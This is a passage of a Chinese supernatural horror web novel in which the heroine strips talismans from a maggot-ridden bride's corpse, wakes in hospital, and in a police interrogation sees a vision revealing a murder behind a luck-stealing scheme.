死丫头平日里装傻充愣,一让她觉察到不对劲立刻像只竖起尖刺的刺猬,她万一认出来了呢?
想到这,朱矮子摸出背包里的自制土枪。
杀一个也是杀,杀两个也是杀。
正好他愁没人借运。
放置棺椁的小庙内。
火光吞噬完幢幡后逐渐熄灭,很快便只剩下一小点火苗在地上跃动。
黑藤在此时发出幽幽绿光,将血棺内部照亮,似在引导她们进入无边地狱。
严森害怕地推推岑让川:“你,你快去吧。”
“……你怎么不去!”
“你表弟没让我去啊?”
岑让川深呼吸一口气,做足心理准备朝那口血棺迈步而去。
她走到半途闻到那股浓郁的尸臭,刚想打退堂鼓,背后严森抖着嗓子说:“让川,你要不要快点?门外刘庆远身边那个矮个子好像拿着自制的土枪……”
不是好像,是确定。
严森家上世纪改革开放,国家禁枪,他爷爷下乡劝说山上村民上缴猎枪,严森很小的时候见过,印象深刻。
岑让川一听,更疑惑了。
为什么银清要让自己去揭黄符?没有交代严森或其他人?
他预料到自己会陷入这种进退两难的境地?
黑藤是为了限制她逃跑?
为了验证自己的猜测,岑让川故意往后退一步。
果然,看似静止的黑藤动了动,四面八方都传来似蛇行轻响,随时都会围拢过来。
意识到银清是在逼着她去做后岑让川心里那种不舒服的感觉又上来了。
本来她就很不爽银清监视她的生活,加上那人跟有病似的要宰了她,这种不爽如今达到顶峰,她却跟棋子似的被硬推着走。
事已至此。
岑让川站在棺椁前,刚刚没注意到这东西居然这么高。没了棺盖,棺材高度也是到下巴处,需要靠近才能窥见内部全貌。
她咬咬牙,都到这个程度了,赶紧上吧。
再不犹豫。
岑让川双手撑在棺沿,用力撑起自己身体,直接翻进棺材。
严森忙压低声音喊:“让川?”
回答他的,是一声响亮的干呕。
又一道雷光照进庙内。
庙中佛像低垂眉眼,嘴角含笑。庙顶漏雨,雨水流下,正好砸在佛头上,昏昏暗暗的似半凝固的黑血,顺着下巴浇在身上。
一袭红衣坐在佛祖怀中,红盖头下,黄符飘落,飘至严森脚下。
起初严森还在盯着棺内动静,实在狠不下心去碰尸体。
眼角余光瞥见黑影晃动,他不自觉循着符纸飘来的方向望去。
已经蒙尘的佛像端坐高台,怀中隐有一片红色。
严森眯眼看去,看到了一张红盖头,在光电褪去再适应光线去看时,什么都没有。
他心里发毛,不由朝棺椁靠近。
没等他走近,鼻子里塞了两坨纸巾的岑让川直起身,把塞满棺中的黄符一股脑丢出去。
穿着红嫁衣的新娘尸体躺在棺里,红衣上爬满蛆虫。
“呕——”岑让川边干呕边清理,手背上爬满蛆虫也顾不得恶心。
她发誓,这次搞完回老宅,她一定多扇银清两遍泄愤。
狗男人!
王八蛋!
自己把自己作得死过去,烂摊子全丢给她收拾!
恐惧化作愤怒,岑让川甩去手上白白胖胖的蛆虫,接着微末火光快速把尸体上所有黄符收拾干净,有的浸泡在尸水,她不得不徒手去把那些黄符也捞出去。
混了尸油的黑水沾在手上,岑让川不知道怎么形容,难以抑制得再次发出干呕,感觉自己双手扎进了肥腻的肉汤中,油乎乎地覆盖上毛孔,闷的同时还微微发痒。
朱矮子脚步声靠近。
严森想到银清交代的第三件事,不得已和岑让川一起把尸体背面的黄符清理出去。
好不容易弄干净。
岑让川这才揭开刘缔的红盖头,不出意料,整个脑壳都被黄符纸盖住,为防被揭开,整具尸身皆被淋上一层米糊。
“刘缔,我俩生前虽然不对付,但你死都死了还求我帮你,我扒你衣服你别不开心,呕——太臭了。总之,你别怪我冒犯。虽然我不知道你爸让朱矮子对你做了什么,但这些黄符我看着不吉利,我表弟也让我帮你撕掉……呕……”
岑让川边说边干呕,眼角全是泌出的生理性泪水。
她絮絮叨叨两句实在说不下去,转头对严森说:“我要脱她衣服了你回避下吧,朱矮子要是进来了,你想办法拦住他。”
“怎么拦……”严森瞪圆眼睛,“他手里有枪……”
“……”
枪?她刚刚光听到朱矮子来了,没注意听到那
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死矮子手里居然有枪。
严森看她表情就知道自己说话她压根没认真听,登时急了:“你快点把第二件事做完,这样我才能做第三件事!”
“第三件事是什么?!”
就不能直接做吗!
情况这么紧急,还要分先后?!
严森欲言又止止又欲言的模样岑让川恨不得给他两个大耳光。
真是气死她了!
认识的两个男人,银清说话云里雾里,严森守口如瓶一板一眼跟ai机器人似的,就不能痛痛快快把话全倒干净吗!
岑让川气得去扯刘缔的嫁衣,上面绣着的一颗珍珠被崩断,“啪”的响亮一声打在她脑门上。
“……”她瞪着刘缔,咬牙切齿,“你也欺负我是吧!咱俩生前关系差到那个程度,现在我肯帮你你就感恩戴德吧。你说你明知道你爸是个老混账还跟着他干,现在好了,还得靠你不喜欢的人才能脱离苦海。我警告你别再吓唬我,不然我吓嗝屁变成鬼我高低得跟你打一架。”
也不知道是不是她威胁奏效,红嫁衣很快被她三下两下扒干净,跟褪橘子皮似的,露出内里即使糊满黄符依旧能看出是女子的窈窕身形。
严森知道这时不好再盯着看,紧张地去听门外动静。
脚步声越来越近。
越来越近。
已至门前。
米糊里不知加了什么东西如此坚硬,用手都捏不开。
黄符凝结在半透明的胶糊中纹丝不动。
岑让川脑门上已经泌出细汗,光线晦暗,最后的火光已经熄灭。
她在混沌中从尸身头顶一路摸索,忽然摸到刘缔食指上凸起的一个东西。
是翡翠戒指。
她忙捡起刚刚随手丢到缝隙处的碎瓷片,对着翡翠所在地用力割开一条缝。
有蛆虫沿着她的手爬上脖子,她却已经顾不得,用力从翡翠戒圈上率先撕开一个小口。
外面雨声比来时还大,小庙屋顶许久没有修缮,滴滴嗒嗒往里漏水。
即使这样,也无法遮掩捏碎米糊往外丢的响动。
严森捏着手机,死死盯着门外矮小的影子拖长进庙。
终于。
滴水声随着脚步声进入小庙。
岑让川用力剥开一大片米糊,露出大片胸前已经腐烂的皮肤。她用力把这层壳丢出,腐臭味熏得她忍不住干呕。
“谁在庙里!”朱矮子握紧土枪。
声音大到整间小庙都在回响。
当岑让川剥到脖子以上的黄符米糊壳时,异变发生。
严森不经意间瞥到庙里佛像上端坐的人影,惊恐大叫:“鬼!”
与这声同时响起的还有枪声。
雷声轰鸣。
岑让川盯着黄符下的脸,露出震惊神色。
千钧一发之际。
一只双眼泛出琥珀色光芒的黑猫不知何时从屋顶落下,正正好好落在佛像怀中,红盖头垫在它身下,宛如蒲团上的坐垫。
“让川!”严森听到异响,急忙回头。
岑让川下意识去看他,从他眼中看到一片巨大的黑影从自己身后压来。
两层棺材盖在此时倒下,视线逐渐缩小。
猛地将岑让川关入棺中。
最后一刻,严森也看到棺中露出的腐烂人脸,再不犹豫,执行银清说的第三件事。
38. vintage古着衣12^^……
“再睡会吧,等会就醒啦。”
和刘缔面容有五六分相似却不是刘缔的女人坐在她身边,将一个金纸折叠的千纸鹤放在她手背上。
岑让川醒过来时,就是在一片曼珠沙华花海。
头顶黄灰色的天空,黄沙流动交织,如涌动不断的沙海。红艳艳的一片蔓延至看不见的尽头,蓝绿色的流萤飘荡在花海上,飘飘浮浮没有停歇,没有目的地飘荡。
她们在花海岸边,四周被血黄色的宽河包围,只有一座桥架在河上,雾气迷蒙,不知通往何方。
岑让川觉得这地方好熟悉,熟悉到她上辈子就来过那般,脑子里闪过零星几个片段,当时和她一起来的……似乎还有三个人?
“你要是不睡,该醒的时候,会醒不过来的。”旁边女人误以为她是害怕,笑了笑,摘下一朵曼珠沙华给她,“抱歉,吓了你这么多次,但我实在找不到人。城隍庙也接不了我的状纸,对不起,只能找你了。这枚戒指,是你雕的吧,很好看,可惜我死后才戴上它……”
岑让川混沌的脑袋在这刻徐徐运转。
她想到什么,猛地往后退,惊恐失色,声音都不自觉发紧:“你,你是那具女尸?你不是刘缔!”
“嗯……”女人放下手中的花,“吓到你了。”
“那你是谁?!”
刘庆远那狗东西花重金造了双层棺椁,又是让朱矮子千里迢迢葬在云来镇山上,又不把尸身火化。
他平日里虽然重男轻女,但很疼爱刘缔,几乎是有求必应。
岑让川一直以为,刘庆远是让朱矮子找了个风水宝地安葬刘缔尸身,没有细想。现在看到面前这个女人,岑让川猛地想起闺蜜苏叶给自己转的帖子,还有里面的一张照片。
死者死亡的事发地,抓拍到红色身影。
原来真如她一开始的瞎想,尸体不是刘缔……
细想一下,刘缔的死太多疑点,但掺杂了人家家事,加上他们当地异常浓厚的封建迷信行为,一切又皆有可能。
“你愿意……听听我的故事吗?”
岑让川感觉耳朵有点痒,她摸了摸,又什么都没有。
她第一次这么清醒地认识到自己是在梦中梦里,又想不起来昏倒之前发生过什么,干脆点头。
女人缓缓讲起她的故事。
语调温和,柔软,带着绝望的平静。
故事发生在岑让川辞职后没几天。
而那个时候,刘庆远的家族生意早已出现危机,呈现出崩盘局面。
某种程度上说,岑让川运气是好的。
但也让她明确意识到,她经历的这一切都有某人在精心布局。
他利用刘庆远,利用五百万,利用她的心理,如布下蛛网,将她一步步引诱入局。
而她,连他真正的目的都不知道。
三天后。
云来镇传出一件骇人听闻的杀人事件。
因警方通报未出,大家也只能私底下讲讲,不敢乱造谣,生怕惹事。
同时,镇子上还压下了一件玄而又玄的奇事。
引得镇上的人这几日都在讨论,热度竟把杀人案盖了过去。
张奶奶葬礼上,刘庆远父亲,那位一百来岁的人瑞不知怎的,到了大半夜仍然徘徊在张家民居中,无人来接。
众人算算时间线便明白过来。
那个时候刘庆远因酒驾撞人被抓。
而他的狗腿朱矮子也因杀人未遂被捕入狱。
可不就是没人接嘛!
也正是因为没人接,所以才会发生接下来的事。
那天晚上,灵堂仅剩白芨还清醒,在灵堂叠金元宝。
陪她的阿姨婶子实在熬不住,宿在一楼房中。
白芨因为收养自己的奶奶去世身心俱疲,却睡不着。
到了夜里,混沌的脑子才逐渐清醒过来,张奶奶已经死去,不会再回来。
这个认知让她忍不住想哭,当第一颗眼泪落在金元宝上,紧接着,是第二颗、第三颗……
泪水逐渐把金纸打湿。
白芨承受不住,终于压抑着哭出声。
她本来就是孤儿,被上山采药的张奶奶捡到后十几年时光都在奶奶身边长大,原以为祖孙两个还能有更多时间相处……
可惜人的寿命终究抵不过时间侵蚀。
奶奶的皮肤就像寺庙里的金像,上面的金箔会随着时间氧化脱落,而人的皮肤会长斑,变得皱皱巴巴……
原本只是花白的头发也渐渐白得像街角贩卖的白色棉花糖,不掺杂其余颜色。
她的眼珠一日比一日浑浊,却依然明亮地注视她。
直到奶奶去世前的一晚,她还在跟自己讲故事。
讲义妁、讲谈允贤、讲曾懿等等古代有名医师生平事迹。
讲到不知不觉睡着,最后含含糊糊地说。
“白芨,读万卷书,行万里路……世界是很大的,你不用像奶奶一样困在云来镇。好好读书,走出去看看啊……替奶奶去看看……”
然后,奶奶再也没醒过来。
夜里依旧和白天一样下着雨。
天井处水流声不断。
白芨的哭声湮没在雨声中,安静地无人能听到。
她攥着金纸蜷缩在竹椅上呜咽,任由泪水打湿袖子,浸透手臂。
未曾熄灭的火盆随着沉闷步履靠近慢慢静止,直至熄灭前的一刻,陡然变成青绿色。
四周温度霎时冷下。
白似米粒的东西在半空蜷曲,掉入火盆,燃烧后散发出难闻的糊味。
白芨闻到焦糊味,这才抬起头来。
带奠黑字的白灯笼在屋檐下摇摇晃晃,吹得内里蜡烛也跟着明明灭灭。
在念往生咒的录音机发出呲啦啦卡壳声,逐渐变成老年男人陌生的咳痰声。
微弱天光泄入。
灵堂内物与人的影子都在朝西方倾斜。
延伸至脚边的影子却反常地朝她这北边方向爬来。
白芨心中一惊,抬头看去时,白灯笼被风熄灭。
丧幡飘落,遮住双眼。
她忽然闻到有熟悉的香气飘来,压下即将袭来的腐臭气味。
那是张奶奶生前经常用来给她擦香香的雪花膏味道。
重物落地。
如西瓜般砸得满地都是。
白芨扒下莫名其妙飘到脸上的白布,只看到一具无头身体朝自己砸来。
“砰”地一声。
分崩离析。
满地黑血肉骨与密密麻麻的白蛆像倾倒出去的变质肉汤,砸得满地脏污。
白芨吓昏倒前的一刻,看到尸身背脊后的红木架,上面用来牵制的铁丝还在微微颤抖,被它锢住的头颅却已经碎裂。
夏末下的一场大雨。
下了整整三日。
挂在墙上的日历被撕去一页,便只剩下半本。
看看日子,已是
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秋初。
田里的水稻还是青绿色,再过段时间又要让家里人回来一起帮忙收。
但那个时候,正好是镇子上学校开学的日子。
窗外有拖拉机路过,发出“突突突”的车声。
因为烧的是柴油,黑烟缭绕,靠近窗边的床位能闻到些这股呛人的气味。
病房里静悄悄的。
三个人被安排在这间房子,挂着药水。
早晨时保洁员才拿消毒药水把房间拖了一遍。
不知道怎么回事,医生明明说昨天大概就能醒来的三人现在还躺在病床上,又是看心电图又是拿灯照瞳孔,确认三人都还活着。
一个上午时间,护士医生已经来了两三趟。
岑让川醒来时已经是下午。
眯眼望着天花板,只觉又困又倦,脑中一片空白。
她听到了点打盹声。
微微往下看去,有两名穿着警察制服的人坐在床尾,脑袋跟鸡啄米似的。
她……
怎么了?
岑让川想不起来事,一边耳朵还疼的厉害,不知怎么回事。
她看看左边病床,有个男人,盯着那熟悉的侧脸,她脑中开始加载记忆,这才想起来。
是严森!
自己被关进棺材的最后一刻发生了什么?
他为什么会在医院?
刘庆远、朱矮子、刘缔、土枪、嫁衣……
岑让川猛地坐起。
她动静太大,惊醒正在打盹的警察。
没来得及寒暄,岑让川直接指着严森问:“他怎么了?”
“噢,没事,就是被土枪子弹擦了皮,又受到惊吓。给他打了镇定剂,睡到现在。”警察操着浓重乡音道,“我们有些事想问你,你现在可以接受问询吗?”
“不行,我脑子太乱……”她说的实话,信息量太大,她刚醒脑子有点处理不过来。
再看右边,白芨?
警察也不着急,等她缓过来再说。
见岑让川又去看白芨,年轻点的女警说:“她是惊吓过度,也打了针镇定剂。”
没事就好……
岑让川揉揉耳朵,露出痛苦的神色:“耳朵好疼……”
乡音重的警察道:“疼就对了,一个姑娘家家的那么大胆,敢躺棺材里。蛆虫爬你耳朵里,光清理就花了半个多小时。”
女警拍了一下他,示意他闭嘴。
听到这噩耗的岑让川脸色几经变幻,最后变得铁青。
忍了忍,她尽量用平和的语气问:“我睡了几天?”
女警比出三根手指:“三天。”
三天?
三天!
被她丢进池塘的银清!
不等她这边提出要回去,远离热闹地区的老宅已经在三天内被藤蔓占领。
吊在房梁上的绿藤散开。
一具被黏液覆盖的躯体从茧中掉落到铺满藤根的地上。
宅子里静悄悄的。
琥珀色眼珠的黑猫从桥上走过,越上围墙,走过布满黑藤荆棘的沿廊往下望去。
主屋小楼旁,银杏树后绕出一道未着片缕的高瘦人影,墨发垂落至脚边。一点一点,摸索至另一具与他长得一模一样却着丧服的人,举起手中利刃。
寒光飞掠。
水花四溅。
青绿银杏叶在本该在十月才变黄,却在这七月初就已经不同寻常地浸染上深秋颜色。
39. vintage古着衣13
“根据我们得到的线索,你与刘家曾为雇佣关系。因为要继承你姑妈留下的遗产所以才来到云来镇。你曾多次雨天上山,是否早就知道墓地里的女尸不是刘缔?三天前,张奶奶张瑜葬礼,我们走访群众,你表弟曾与严森一起上山,严森还在医院,你表弟却不知所踪。我们是否可以认定你与此事有关?你与刘家关系并不好,刘家曾多次抢夺您作品发布,岑小姐,希望你认真回答,如果可以,请把您表弟也叫过来。”
“我要见刘庆远。”
小小的问询室里。
光线晦暗,空气中有股潮湿的气味,像地下室刚拖完地时散发的水腥气。
面前两个警察愣了愣。
强光照射下,岑让川不为所动,没有露出一丝心虚的表情。
“岑小姐,希望您明白,您现在是嫌疑人。如果不说清楚,你将面临偷盗侮辱尸体罪,三年刑期。”
“我知道,我要见刘庆远。”
不论他们怎么问,岑让川永远只会有一个回答。
她要见刘庆远。
事情一切源头都在刘庆远身上。
她要赶紧处理好,把严森和银清在这件事中摘出去,而不是继续混在这烂泥中,让已经明朗的事情变得更复杂。
她还要回去看看银清死没死。
死了她就得扛着鲛人往外跑路。
不然,她要是被困在监狱,岂不是让黑衣银清更方便弄死她?
在岑让川的坚持下。
两个嫌疑人见面了。
时隔多日,他们再次见到对方是在这样的地点。
谁都没有想到。
刘庆远看起来苍老许多,原本用发胶精心打理的黑发已经变得灰白。
长得像□□的老脸上多出好几条皱纹,这让他看起来更像他那只精心收藏的茶宠蟾蜍了,满脸皱皱巴巴,鬓发下的皮肤不知道接触了什么,麻麻赖赖的像要随时喷发的小血山,顶端已经流脓。
“刘庆远。”岑让川主动开口喊他名字。
她们之间隔着长桌,有四名警察身上戴着各种棍棒站在二人身侧。
被喊到名字的人像听不到那般,低垂着脑袋,似在等什么人。
岑让川知道他在等谁,平静地说:“她不会来了。”
银清说过,冤孽压身的时候,只要施害者内心出现一丝动摇或者害怕,就会被言语暗示侵入,瓦解意志。
她不确定自己能不能做到。
面前的人无动于衷。
果然自己这种话没用。
岑让川默了默,继续说道:“刘盈说,刘缔也已经死了。”
刘庆远依旧不动,指关节却已僵硬。
“刘盈来找我了,因为我刚搬来时,宅子里不干净,我想上这边的道观躲躲,没想到被缠上了,时间是一个多月前。”她这番话相当于交代自己第一次出现在山上的原因。
四个警察你看看我,我看看你,最终望向另一侧玻璃。
单向玻璃后。
一双浑浊的眼睛盯着他们。
“这件事本来跟我无关,如果不是刘盈找我,我这辈子都不想再跟你们家的人有交集。刘庆远,刘缔这么久没跟你联系,你不好奇吗?”岑让川盯着他,态度忽而变得咄咄逼人,"你早就知道,装作不知道是不是?你看似疼爱她,却把她当宠物一样养大,可你没想到吧,你儿子似乎也一个多星期没跟你联系了?"
提到他家儿子,刘庆远猛地抬头,双目赤红:"你……什么意思!"
岑让川这时却往后退去。
直到两双手将她按住。
她止住后退的脚步,防备地盯着刘庆远:"小庙往西走,香樟树下,两座坟,你猜猜是谁的。"
刘庆远霍然起身,像头被激怒的野兽那样朝她扑来。
恰在此时,封闭的审讯室内不知从哪掠来一阵大风,在场所有人都听到环佩叮当声,窸窸窣窣响个不停。
手机录音机摄像头在这一刻全都失去作用,只响起呲啦啦的电流声。
刘庆远眼瞳里映出的不再是岑让川的身影,而是一片血色。
红盖头边缘穗穗被风吹得摇摆不停,完全遮住岑让川身影。
有一瞬间,审讯室里温度立时下降了好几度,连桌子边缘都结了一层冰霜。
刘庆远瞳孔猛地紧缩。
时钟在墙上滴溜溜逆时针旋转,日月转换无数轮,所有景象都在往后倒退。
红嫁衣褪去,变成镜子中一套精致却略有些旧的黑白套装。
白色花瓣盛开在白衬衣胸前,镂空设计下有朦胧的薄纱覆盖。
暗纹鱼骨束腰四角均有淡淡的金黄色金线刺绣,用以点缀,两侧绑带已经被扎好蝴蝶结。
黑色长裤盖住脚背,只能看到长靴的鞋面和细细的鞋跟。
刘盈拿起又大又宽的黑色玫瑰帽戴在头上,转身问:"好看吗?"
岑让川望着她,认真看了一遍,这才笑着回答她:“很好看。”
“这可是我最喜欢的一套古着衣了~”刘盈拎起看起来像长裙的长裤,面料垂坠感极好,用料也足。
她在原地旋转,黑色布料像在半空中飘起的黑色玫瑰,神秘又危险。
刘盈跳着舞,哼着歌,来到镜子前,拨开香奈儿口红盖,枣泥色覆盖上她浅淡的唇色,哑光口红有些不流畅,她伸出无名指在饱满的下唇上碾弄,间或抿唇,让口红更均匀些。
岑让川站在她背后,只看到帽檐下她艳丽的唇色,宛如一片红色花瓣。
刘盈化好妆,喷上香水出了门。
临走前,她站在门外,对岑让川说:“我今晚不回来啦,你一个人要好好在家噢。”
强烈的不好预感让岑让川想上前留住她,可当岑让川看到镜子里的自己时却愣住了。
黑猫?
她什么时候变成一只黑猫了!
正当岑让川疑惑,镜子碎了,蛛网般布满整面全身镜,最后,它变成了一扇窗。
她透过明亮的玻璃,望见里面的两个人。
刘缔哭得撕心裂肺,哽咽地向表姐刘盈哭诉:“姐,你都不知道我爸有多混账,他自己生意不行,连同朱矮子一起要我的运气,说只是借运,以后会好的。结果我答应了,生意也有了起色,他们转头就开始跟我要更多。天天跟我要这要那,怎么不冲我弟要?他们对外说的好听,什么都留给我,结果家里不动产和其他产业全写的我弟名字……”
“你不要哭啦,这样吧,既然你爸这么绝情,你跟我走?我们公司最近在招人,以你的设计能力一定可以自己慢慢攒出一笔钱的。大不了以后跟你爸断亲,让你弟给他养老……”
“可是表姐……我不甘心……凭什么我弟只是多长三两肉,就可以轻而易举获得一切……”刘缔蓦地抬起头,“这样,你帮帮我好不好……”
看清刘缔的脸,刘盈和窗外的黑猫都吓了一大跳。
明明不过二十几岁的人,脸上皱纹却堪比六十多岁的老人。
刘盈墨色长发迅速褪去深色,变成深深浅浅的灰。刘海下,那双本该黑白分明的双眼已然浑浊地像洗笔水,灰黄混沌。
“你看,表姐,他们把我弄成这样了!我才二十多!他们这是要我命啊!你帮帮我!帮帮我好不好!全家只有你最在乎我了!帮帮我啊!”
刘盈被她如今似癫狂老妪般的状态吓得连连后退,一不小心,撞翻了桌面上的水杯。
玻璃碎片在地上发出响亮的碎裂声。
刘缔看似苍老,力气却大得惊人,将刘盈死死按在地上。<
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“喵呜喵呜——”
黑猫凄厉的叫声在窗外响起。
岑让川用爪子猛烈抓挠窗户,想去救刘盈,可这层窗户却跟被钢水浇筑,坚硬地不可思议。
矮小人影从房间里窜出,无声无息窜到两姐妹面前。他拿起尖锥,在刘盈没有注意到时,对准眉心用锤子用力扎下。
惨叫声穿透玻璃,过电般让根根毛发都颤栗起来。
尖锥穿透后脑,刘盈睁大的瞳孔中倒映出两张狰狞面容。
视线被血色遮掩,逐渐陷入黑暗。
“把我的运改成我表姐的。”
她听到刘缔的声音冰冷响起,“我爸不是让你们伺候好我弟吗?这样,你把我弟也弄死,我爸那边我来想办法,事成之后,我四你六……”
我四你六。
原来,她叫自己来这,不是为了喝茶……
可是……
为什么后来,刘缔也死了?
所有场景如潮水般褪去。
昏暗的审讯室已如冰窟般寒冷。
刘庆远跪在地上,喃喃自语:“完了……完了,一切,全完了……”
他像是只会重复这句话的老式录音机,不断卡带。
室内四个警察惊魂未定,按住她们两个人的同时皆是惊惶未褪的神色。
他们望向岑让川,表情已经变得惊疑,似乎在怀疑她的身份。
正在这时,有人拿着一封信,走进室内。
回去的路上。
晴天转为阴天,晴朗不到一星期的天空,似是又要下雨。
岑让川手上拿着那封莫名其妙让她代为转交的信忍不住好奇,她悄悄打开信封,拿出里面真正的信。
上面用娟秀的字体写着[银清亲启]。
为避免被人拆开,还用火漆封了老长一条。
“……”
防她呢?
警察局距离老宅有点远。
打车打了十分钟没人接单,连个共享自行车都没有。
岑让川服了,认命地打算用自己双腿走个几小时走回去。
走到半路,看到一个熟人。
是那个载纸皮箱蹬得飞快的老爷子。
她连忙跑上去,跟老爷子提出一块回去。
老爷子虽然耳背,但她搭顺风车的请求倒是听清楚了。
车架一打。
车铃铛叮铃铃响。
车轱辘转出残影。
她们便飞快离开了这片地方。
白墙青瓦在身边飞快倒退。
岑让川吓得抓紧屁股下的车板,吼道:“老爷子你骑慢点!”
“啥?还慢呀?!”老爷子该耳朵好使的时候从没好使过,听到岑让川这么说,干脆站起来蹬。
岑让川:“……”
她再也不坐车神老爷子的自行车了。
这速度堪比满油的摩托车。
她一路提心吊胆,到了目的地腿还软着呢。
炒粉阿姨稀奇地看这对爷孙组合,喊道:“老爷子!老当益壮啊!载个小年轻都这么拼命!”
“啥?今晚不吃米粉!”车神老爷子摆摆手,“下棋去咯,小姑娘下回见啊。”
岑让川扬起假笑,努力朝他挥手。
那句谢谢是一个字都蹦不出来。
想到宅子里那只保她日后荣华富贵的鲛人,岑让川转头买了轮椅和三盒炒粉上了桥。
站在宅门前。
她咽了咽口水,做足心理准备推门进去。
里面一片死寂。
似是又回到她初次到宅子里的时候。
等她提着大包小包绕过壁照,穿过月洞门。
几天没回来,面前景象让她情不自禁骂了一声。
“草。”
40. vintage古着衣14
沿廊被藤蔓压塌,池塘上方藤网密布,遮天蔽日,几乎见不到水面,只能瞥见几点零星反光。浓郁的植物腐烂气息甜腻到令人作呕,随着雨水浇入每寸土地,离得近的,野草丛都秃了一块。
她急急忙忙去沿廊旁的另一条小路,径自穿过去。
可在穿过月洞门的瞬间,有种奇异的感觉传来,像穿过一层看不见摸不着的透明薄膜。
不知怎的,就回到了原地。
他不欢迎自己回去。
岑让川能明显感觉到银清在释放这个信号。
她不信邪,又走了一遍,这次更离谱,她直接被送到大门外。
“……你有本事让我这辈子都别回去!”岑让川气得破口大骂,一脚踹向厚重大门。
以往摇摇欲坠的大门,此刻异常结实,跟石墩一样踹都踹不动,反倒让岑让川差点脚趾骨折。
“我靠,你个王八蛋……”岑让川捂着脚,吼道,“不让我回去,你倒是给我把鲛人丢出来啊!”
话音刚落,旁边小门处传来几声杂响。
她买的轮椅和米粉被丢了出来。
只是塑料盒里的米粉……
鲛人估计是饿得够呛,连塑料盒都啃了两大口,牙印上还残留着鲛人特有的浅蓝色口水。
没吃多少,就被银清尽数给丢了出来。
“噗通”一声。
似是又把什么东西丢进了河里。
她转头去看,什么都没有,连水花都没见着。
“老娘不回去了!你有本事别求我!”岑让川疼得一瘸一拐,十分有骨气地转身离开。
王八蛋个狗男人……
自己分身自己不管好,气全往自己身上撒。
现在连门都不让进了。
行,她不回去了,到外边潇洒去。
嘴上是这么说,心里却在直打鼓。
银清不会已经被黑衣银清干掉了吧……
如果没有……
他还要杀自己吗?
想到这,岑让川马不停蹄去附近买除草剂塞口袋里以防万一。
没了住处,她只能地图上去搜附近的宾馆。
云来镇再一次让她感到无语。
小破古镇唯一一家最近的宾馆居然在医院附近?!
那她千里迢迢跑回来算什么?!
算她能跑吗?
岑让川想去宅子外搜寻新买的自行车。
找了半天无果,气得她又咬牙切齿骂了银清半个小时。
她第一次来镇子开的小破车倒是在附近,因为不经常开,都快成了僵尸车。问题来了,她的车钥匙在主屋小楼……
银清……
这个千年祸害……
她要给他浇热水,浇死这狗.日的……
岑让川骂骂咧咧,揣着泡毒液后的手机想先去找秦叔修一修,却被告知他三天前被车给撞了,现在在医院里。要想找另一家修手机的,要往东走一个多小时,收费还贵。
此时天色已晚。
不得已,岑让川只能靠双腿去那家在医院附近的九十九块钱住三晚的宾馆。
至于招待所?
她这辈子都不想去第二次……
那次在浴室看到自己双腿之间的婴儿吓得她到现在都还印象深刻,也是从那时起,她坚定了丁克的念头。
如果能拿上四百万尾款,余生她将享受单身贵族人生。
这次没有顺风车,自行车也没有。
她就靠着双腿走得头晕眼花,好不容易才走到宾馆。
这家宾馆比起招待所也没好到哪去,破破烂烂又阴森森的。
装修家具还是八.九十年代的港风,到处都是塞满物品的红木家具。
走进去前台,木柜台虫蛀掉了也舍不得扔,旁边阳光照不到的地方还有个红脸关公立柜神龛。
前台对面,是个简陋的会客厅,摆满各式各样的听诊器、血糖仪、测量器等等看起来随时随地可以退休的医疗器具。
但因为时常有人打扫,看起来还算干净。
小宾馆能住人就住吧……
还能咋地?真要睡大街就老实了。
岑让川没了办法,走到前台拍响铜色铃铛:“有人吗?”
一连拍了三下,终于有人回应:“来了来了!”
这楼隔音也不咋地,宾馆老板从楼上跑下来的声音格外清晰。
“咚咚咚”的脚步声踩在木质地板上,还在扑簌簌往下落灰。
“……”她真要住这吗?
“来哩来哩,诶,是你啊,定了房间吗?”圆脸似满月的老板脸色红扑扑的,边说着边脱下塑胶手套,“是手机上定的吗?美团给我看看。”
岑让川注意到她手套上还有残留的辣椒末,红艳艳的很新鲜,刚刚应该是在腌什么菜。不知怎么,这点细节反倒让她安心了。
只是……
“你认识我?”岑让川说着,把截图送到老板面前。
她盯着老板看,似乎也觉得有点眼熟。
“诶呀,张奶奶葬礼,咱后厨见过呀!”圆脸老板乡音浓重,不熟练地在破旧台式电脑上输入住房信息,“好哩,你去二楼208,靠河的房间安静点。晚上要是听到什么叫声你别害怕,不是啥大事。”
岑让川后知后觉反应过来。
这家宾馆开在医院附近的原因,并不是给她这种人建立的。
而是给云来镇附近村落的村民。
这小破地方就云来镇有一家三甲医院,其他镇子不是一甲就是二甲,医疗条件落后。云来医院住不下人,只能来这家小破宾馆。
岑让川刚接过房间钥匙,就有一行人进来验证了她的猜想。
穿着中山装的老爷子被搀扶进来,拿了医院的证明给老板看,房间订购价是五元一天,比她订房便宜了好几倍。
岑让川没说话,拿着钥匙上楼。
算了,既来之则安之。
严森白芨和秦叔不都在医院吗,明天或许自己能去看看他们呢。
她打开房间门,里面敞亮又干净,右边靠窗是大床,左边是卫浴,美中不足就是有点小。
但三十块一晚,已经是骨折价。
要是放某个超雄密集的特别行政区,非得收个近千的价格。
岑让川走进去,开灯推窗,底下恰好是那条宅子门口流过来的河。
天色已晚,云来镇没有重工业污染,深色夜空遍布硕大的星星,像真能伸手摘下来一样。
她还真这么做了,伸出手作势要摘。
不知从哪飞来一块石子,“啪”一声打在她手边。
岑让川吓了一跳,忙收回手骂道:“谁他大爷的玩弹弓乱扔东西!”
回答她的,只有楼下敲着车铃铛路过的自行车。
“……”灵异事件?
刚经过红嫁衣事件摧残的岑让川疑神疑鬼,检查好几遍依旧没发现端倪,干脆下楼觅食。
夜里静悄悄的。
岑让川还顺道去看了眼严森和白芨。
这俩倒霉孩子听说是醒了一小阵,又睡了。
至于秦叔,早就醒了。
他躺在床上,一只脚打了石膏,被高高吊起。
看到她来,秦叔还跟她打招呼,要切苹果给她吃。
岑让川苹果吃进嘴里那刻才意识到……
他俩究竟谁才是病人……
哪有病人给看望的人切水果的……
简直倒反天罡!
“刘庆远怎么样了,我早上听病房里的护士说,你被卷进去了?上午还被带到警局?没事吧?”秦叔见她发愣,又叉了一块苹果给她。
“没什么事,再过几天警方通报应该会出来。”岑让川不太想说这件事,刘家全体作死,一个无辜的都没有,除了刘盈。
她想接过秦叔
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手里的苹果,他已经把削好的放在岑让川手里的小碟子中:"慢点吃,我听说严森和白芨也进医院了。你要好好休息一下,看这黑眼圈,云来镇要是有动物园,你可以进去客串下熊猫。"
岑让川忍不住笑:"那我现在是不是该收你门票钱?诶,对了,你怎么撞到的?我要不是去手机店找你,我都不知道你进医院了。"
"运气差呗,你手机又坏了?"
"是啊,进水,屏幕也裂了。"
"那我得快点好起来赚你这笔钱。"
